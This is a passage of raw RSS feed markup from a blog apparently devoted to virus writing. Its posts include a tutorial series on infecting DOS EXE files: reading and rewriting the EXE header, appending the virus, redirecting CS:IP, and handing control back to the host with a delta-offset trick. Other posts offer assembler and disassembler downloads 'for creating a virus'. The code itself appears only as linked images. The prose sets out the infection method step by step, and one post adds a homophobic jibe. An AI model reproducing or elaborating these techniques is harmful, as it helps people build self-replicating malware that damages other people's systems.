href="http://feeds.feedburner.com/~ff/Dauskupang?a=uGg3t6odEJI:A9fFpSOA97c:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=uGg3t6odEJI:A9fFpSOA97c:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=uGg3t6odEJI:A9fFpSOA97c:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=uGg3t6odEJI:A9fFpSOA97c:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=uGg3t6odEJI:A9fFpSOA97c:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=uGg3t6odEJI:A9fFpSOA97c:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=uGg3t6odEJI:A9fFpSOA97c:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=uGg3t6odEJI:A9fFpSOA97c:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=uGg3t6odEJI:A9fFpSOA97c:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/uGg3t6odEJI/directory-stealth.html</link><author>noreply@blogger.com (DauskupanG)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-e-zl9aanITU/TfOITtTJGXI/AAAAAAAAAGg/gFaTcbLoZHk/s72-c/2.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2011/06/directory-stealth.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-2952115188436181414</guid><pubDate>Thu, 09 Jun 2011 14:59:00 +0000</pubDate><atom:updated>2011-06-11T23:09:44.743+08:00</atom:updated><title>EXE Infections: Part 2</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/syu4UXb0ZRQKZOdd48fBUly7Ngg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/syu4UXb0ZRQKZOdd48fBUly7Ngg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/syu4UXb0ZRQKZOdd48fBUly7Ngg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/syu4UXb0ZRQKZOdd48fBUly7Ngg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;a href="http://virii-making.blogspot.com/2009/07/exe-infections-part-1-infection-process.html"&gt;The first part consisted on how to Infect the EXE file&lt;/a&gt;, from a resident virus. However, that is only HALF the code and understanding needed for EXE infectors. The part to follow, is on how to give control back to the original EXE file. This is one part of EXE infectors, that mostly EVERY ONE tend to forget to point out. Big tickle, you know how to infect the EXE, but can you make the original EXE run after its infection? Do you know how to restore the registers we took from the EXE header? Anyhow lets get going...&lt;br /&gt;
&lt;br /&gt;
If the Infected EXE file is now executed, the first Line of Code it will encounter will be the first byte of our Virus. Since CS:IP have been changed in the header (Part I) to point to our Virus. The first thing we will need to do, is set up a Variable offset, (As I call it). Basically&lt;br /&gt;
when &lt;a href="http://virii-making.blogspot.com/2009/07/turbo-assembler-free-download-for-you.html"&gt;TASM&lt;/a&gt; compiles our virus, all variables and other data locations are given a FIX address. Though in the case of the Virus this is NOT GOOD as viruses, tend to append themselves, and therefore variables are never in the same location...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-M4mnyQAhDpM/TfDi3VApgzI/AAAAAAAAAFg/94THB5QRaY0/s1600/1.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5616238175491556146" src="http://1.bp.blogspot.com/-M4mnyQAhDpM/TfDi3VApgzI/AAAAAAAAAFg/94THB5QRaY0/s1600/1.jpg" style="display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt;&lt;br /&gt;
Fig. 1&lt;br /&gt;
&lt;div style="text-align: left;"&gt;&lt;br /&gt;
When &lt;a href="http://virii-making.blogspot.com/2009/07/turbo-assembler-free-download-for-you.html"&gt;TASM&lt;/a&gt; Compiles the above Code it turns it into Fig 2. (Below)&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;br /&gt;
(Virus Just Compiled)&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-pLbT452_LzE/TfDjevAxK5I/AAAAAAAAAFo/vy5OXJyxMSw/s1600/2.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5616238852486278034" src="http://2.bp.blogspot.com/-pLbT452_LzE/TfDjevAxK5I/AAAAAAAAAFo/vy5OXJyxMSw/s400/2.jpg" style="display: block; height: 134px; margin: 0px auto 10px; text-align: center; width: 227px;" /&gt;&lt;/a&gt;&lt;br /&gt;
Fig 2&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: left;"&gt;&lt;div style="text-align: center;"&gt;(Virus Infect To a File)&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-43_3XTMZtNw/TfDje4q0kWI/AAAAAAAAAFw/kimcLNzLwA0/s1600/3.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5616238855078580578" src="http://2.bp.blogspot.com/-43_3XTMZtNw/TfDje4q0kWI/AAAAAAAAAFw/kimcLNzLwA0/s400/3.jpg" style="display: block; height: 212px; margin: 0px auto 10px; text-align: center; width: 256px;" /&gt;&lt;/a&gt;Fig 3&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: left;"&gt;Later when the Virus infects a File, it will represent Fig 3. Now, when the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP so when it has to RETurn, all it has to do is POP back the CS:IP to know exactly where it left off! So we can take advantage of the command, by   POPing back ourselves, thus this will give us the NEXT byte from the CALL command. which as you see, in the examples is our POP BP statement.  &lt;br /&gt;
&lt;br /&gt;
However when the Virus is Freshly Compiled, all Registers values are GOOD, so that is why we must make BP=0 the first time, as the variables were  set according to the sources, so no adjustment needed, though when we   infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.)&lt;br /&gt;
&lt;br /&gt;
Boy, That was the HARDEST part of that, Now if you found that simple pat yourself on the back, as that is the only `BIG' Conflict people tend to disregard or forget. So any time while you are NOT resident but infected on the file, and you are running code from the infected file just use the&lt;br /&gt;
that BP Variable Pointer, for any data being loaded... Now lets put the  routine together, along with the routine to EXECUTE the original EXE file&lt;br /&gt;
&lt;br /&gt;
* After the Virus Has moved a copy of itself in memory, Control must be given back to the Original EXE file we just infected... This is the routine to do it..    &lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-j6JmsWfTRI0/TfOE9Z4UbJI/AAAAAAAAAGc/AOHsKAsnDOs/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-j6JmsWfTRI0/TfOE9Z4UbJI/AAAAAAAAAGc/AOHsKAsnDOs/s1600/2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Simple? Try it yourself. :D&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-2952115188436181414?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ftx1CLaBVsA:YobwxDTnArQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ftx1CLaBVsA:YobwxDTnArQ:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ftx1CLaBVsA:YobwxDTnArQ:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ftx1CLaBVsA:YobwxDTnArQ:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=ftx1CLaBVsA:YobwxDTnArQ:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ftx1CLaBVsA:YobwxDTnArQ:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ftx1CLaBVsA:YobwxDTnArQ:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=ftx1CLaBVsA:YobwxDTnArQ:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ftx1CLaBVsA:YobwxDTnArQ:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ftx1CLaBVsA:YobwxDTnArQ:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=ftx1CLaBVsA:YobwxDTnArQ:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ftx1CLaBVsA:YobwxDTnArQ:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/ftx1CLaBVsA/exe-infections-part-2.html</link><author>noreply@blogger.com (DauskupanG)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-M4mnyQAhDpM/TfDi3VApgzI/AAAAAAAAAFg/94THB5QRaY0/s72-c/1.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2011/06/exe-infections-part-2.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-8941349792686570833</guid><pubDate>Wed, 15 Jul 2009 15:30:00 +0000</pubDate><atom:updated>2009-07-15T23:50:13.639+08:00</atom:updated><title>Free Disassembler For You!!</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ssFQK_9LEagkFbEFo-9l4NNi_O0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ssFQK_9LEagkFbEFo-9l4NNi_O0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ssFQK_9LEagkFbEFo-9l4NNi_O0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ssFQK_9LEagkFbEFo-9l4NNi_O0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;As for the last post, I've already giving you the free assembler for your "project", and now I'll give you free disassembler for you to have an "experiment", note that I said EXPERIMENT(LOL), on assembly language or disassemble a complete project.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://dauskupang.110mb.com/w32dasm.zip"&gt;&lt;span style="font-size:180%;"&gt;DOWNLOAD&lt;/span&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-8941349792686570833?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=9rnU92fWouY:veQGNe-90I8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=9rnU92fWouY:veQGNe-90I8:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=9rnU92fWouY:veQGNe-90I8:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=9rnU92fWouY:veQGNe-90I8:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=9rnU92fWouY:veQGNe-90I8:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=9rnU92fWouY:veQGNe-90I8:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=9rnU92fWouY:veQGNe-90I8:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=9rnU92fWouY:veQGNe-90I8:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=9rnU92fWouY:veQGNe-90I8:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=9rnU92fWouY:veQGNe-90I8:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=9rnU92fWouY:veQGNe-90I8:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=9rnU92fWouY:veQGNe-90I8:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/9rnU92fWouY/free-disassembler-for-you.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2009/07/free-disassembler-for-you.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-4354688870175307027</guid><pubDate>Sun, 12 Jul 2009 05:17:00 +0000</pubDate><atom:updated>2009-07-12T13:30:34.341+08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Programming</category><category domain="http://www.blogger.com/atom/ns#">Languages</category><category domain="http://www.blogger.com/atom/ns#">Assembly</category><category domain="http://www.blogger.com/atom/ns#">Turbo Assembler</category><title>Turbo Assembler Free Download For You!</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/wHM1rp4gLQpAyhkwHCnApi5o62A/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wHM1rp4gLQpAyhkwHCnApi5o62A/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/wHM1rp4gLQpAyhkwHCnApi5o62A/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wHM1rp4gLQpAyhkwHCnApi5o62A/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;For so long I always give you tips and tutorial for creating a virus but I never give you a tools to create them. I think now is the time to give you my fellow readers a freebies.&lt;br /&gt;&lt;br /&gt;Download free Turbo Assembler here. Thank you for being with me. :D&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://dauskupang.110mb.com/tasm40.zip"&gt;&lt;span style="font-size:180%;"&gt;Download&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;  &lt;div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"&gt;&lt;a class="zemanta-pixie-a" href="http://reblog.zemanta.com/zemified/ff6891b1-708b-4663-a093-0232f51ae6df/" title="Reblog this post [with Zemanta]"&gt;&lt;img style="border: medium none ; float: right;" class="zemanta-pixie-img" src="http://img.zemanta.com/reblog_e.png?x-id=ff6891b1-708b-4663-a093-0232f51ae6df" alt="Reblog this post [with Zemanta]" /&gt;&lt;/a&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-4354688870175307027?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=_fDhyqtkEDs:XHD7QSjFYHw:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=_fDhyqtkEDs:XHD7QSjFYHw:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=_fDhyqtkEDs:XHD7QSjFYHw:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=_fDhyqtkEDs:XHD7QSjFYHw:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=_fDhyqtkEDs:XHD7QSjFYHw:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=_fDhyqtkEDs:XHD7QSjFYHw:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=_fDhyqtkEDs:XHD7QSjFYHw:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=_fDhyqtkEDs:XHD7QSjFYHw:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=_fDhyqtkEDs:XHD7QSjFYHw:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=_fDhyqtkEDs:XHD7QSjFYHw:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=_fDhyqtkEDs:XHD7QSjFYHw:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=_fDhyqtkEDs:XHD7QSjFYHw:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/_fDhyqtkEDs/turbo-assembler-free-download-for-you.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>1</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2009/07/turbo-assembler-free-download-for-you.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-777014616234605188</guid><pubDate>Wed, 08 Jul 2009 12:40:00 +0000</pubDate><atom:updated>2009-07-08T21:18:50.552+08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Infection</category><category domain="http://www.blogger.com/atom/ns#">EXE</category><category domain="http://www.blogger.com/atom/ns#">Computer virus</category><title>EXE Infections: Part 1 "Infection Process" Cont'</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/wfwzajGIvb5l-5pYqvTFd5Urr40/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wfwzajGIvb5l-5pYqvTFd5Urr40/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/wfwzajGIvb5l-5pYqvTFd5Urr40/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wfwzajGIvb5l-5pYqvTFd5Urr40/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;First thing to do is read the EXE header for the file to be infected! That can be resolved by...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-NwIfV3kOeQ/SlSafmMeSrI/AAAAAAAAADY/S6KcmCRwrTQ/s1600-h/1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 151px;" src="http://3.bp.blogspot.com/_-NwIfV3kOeQ/SlSafmMeSrI/AAAAAAAAADY/S6KcmCRwrTQ/s320/1.JPG" alt="" id="BLOGGER_PHOTO_ID_5356075724469848754" border="0" /&gt;&lt;/a&gt;Next, after reading the first 28 bytes, you will need to set your file pointers to the end of the file.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-NwIfV3kOeQ/SlSa-h4Wn2I/AAAAAAAAADg/ZMgH8Nu3nzQ/s1600-h/2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 92px;" src="http://3.bp.blogspot.com/_-NwIfV3kOeQ/SlSa-h4Wn2I/AAAAAAAAADg/ZMgH8Nu3nzQ/s320/2.JPG" alt="" id="BLOGGER_PHOTO_ID_5356076255887662946" border="0" /&gt;&lt;/a&gt;After bringing your virus to the end, you may start the infection process                                       &lt;br /&gt;;Remember BX = File Handle  DX:AX Pointer Location (EOF)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-NwIfV3kOeQ/SlSbPmL1djI/AAAAAAAAADo/tpSjp8lpK5I/s1600-h/3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 177px;" src="http://2.bp.blogspot.com/_-NwIfV3kOeQ/SlSbPmL1djI/AAAAAAAAADo/tpSjp8lpK5I/s320/3.JPG" alt="" id="BLOGGER_PHOTO_ID_5356076549100893746" border="0" /&gt;&lt;/a&gt;The following finds new CS:IP and SS:SP registers. It will create a new segment, and CS:IP will point to the beginning of the Virus. If you have other code, and the virus beginning is further down the First byte, just add the number of Bytes to AX.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-NwIfV3kOeQ/SlSbxzEfvOI/AAAAAAAAADw/sZVVp3byiYE/s1600-h/4.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 278px;" src="http://1.bp.blogspot.com/_-NwIfV3kOeQ/SlSbxzEfvOI/AAAAAAAAADw/sZVVp3byiYE/s320/4.JPG" alt="" id="BLOGGER_PHOTO_ID_5356077136675323106" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-NwIfV3kOeQ/SlSbyFMiFHI/AAAAAAAAAD4/vJnIc0apnsw/s1600-h/5.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 194px;" src="http://1.bp.blogspot.com/_-NwIfV3kOeQ/SlSbyFMiFHI/AAAAAAAAAD4/vJnIc0apnsw/s320/5.JPG" alt="" id="BLOGGER_PHOTO_ID_5356077141540869234" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-NwIfV3kOeQ/SlSbyI1JQRI/AAAAAAAAAEA/9VYcFz9JLyI/s1600-h/6.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 79px;" src="http://4.bp.blogspot.com/_-NwIfV3kOeQ/SlSbyI1JQRI/AAAAAAAAAEA/9VYcFz9JLyI/s320/6.JPG" alt="" id="BLOGGER_PHOTO_ID_5356077142516515090" border="0" /&gt;&lt;/a&gt;Now we are Ready to write the virus to the EXE File! (Yeah!)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-NwIfV3kOeQ/SlScRNd61sI/AAAAAAAAAEI/eoVR1EHMX3c/s1600-h/7.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 198px;" src="http://1.bp.blogspot.com/_-NwIfV3kOeQ/SlScRNd61sI/AAAAAAAAAEI/eoVR1EHMX3c/s320/7.JPG" alt="" id="BLOGGER_PHOTO_ID_5356077676337223362" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-NwIfV3kOeQ/SlScRa2OlKI/AAAAAAAAAEQ/LvuL94-72ME/s1600-h/8.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 293px; height: 247px;" src="http://2.bp.blogspot.com/_-NwIfV3kOeQ/SlScRa2OlKI/AAAAAAAAAEQ/LvuL94-72ME/s320/8.JPG" alt="" id="BLOGGER_PHOTO_ID_5356077679928841378" border="0" /&gt;&lt;/a&gt;This code works 100% as is! (Resident Virus) For Non-Residents add a location pointer! Besides, Why the Hell are you write a non-Ressy Virus? You Gay? LOL!!~&lt;br /&gt;&lt;br /&gt;Stay RESIDENT in my site OKAY!!!~&lt;br /&gt; &lt;div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"&gt;&lt;a class="zemanta-pixie-a" href="http://reblog.zemanta.com/zemified/dc1bdd1b-1217-492b-ba9d-1c0ad85840a8/" title="Reblog this post [with Zemanta]"&gt;&lt;img style="border: medium none ; float: right;" class="zemanta-pixie-img" src="http://img.zemanta.com/reblog_e.png?x-id=dc1bdd1b-1217-492b-ba9d-1c0ad85840a8" alt="Reblog this post [with Zemanta]" /&gt;&lt;/a&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-777014616234605188?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
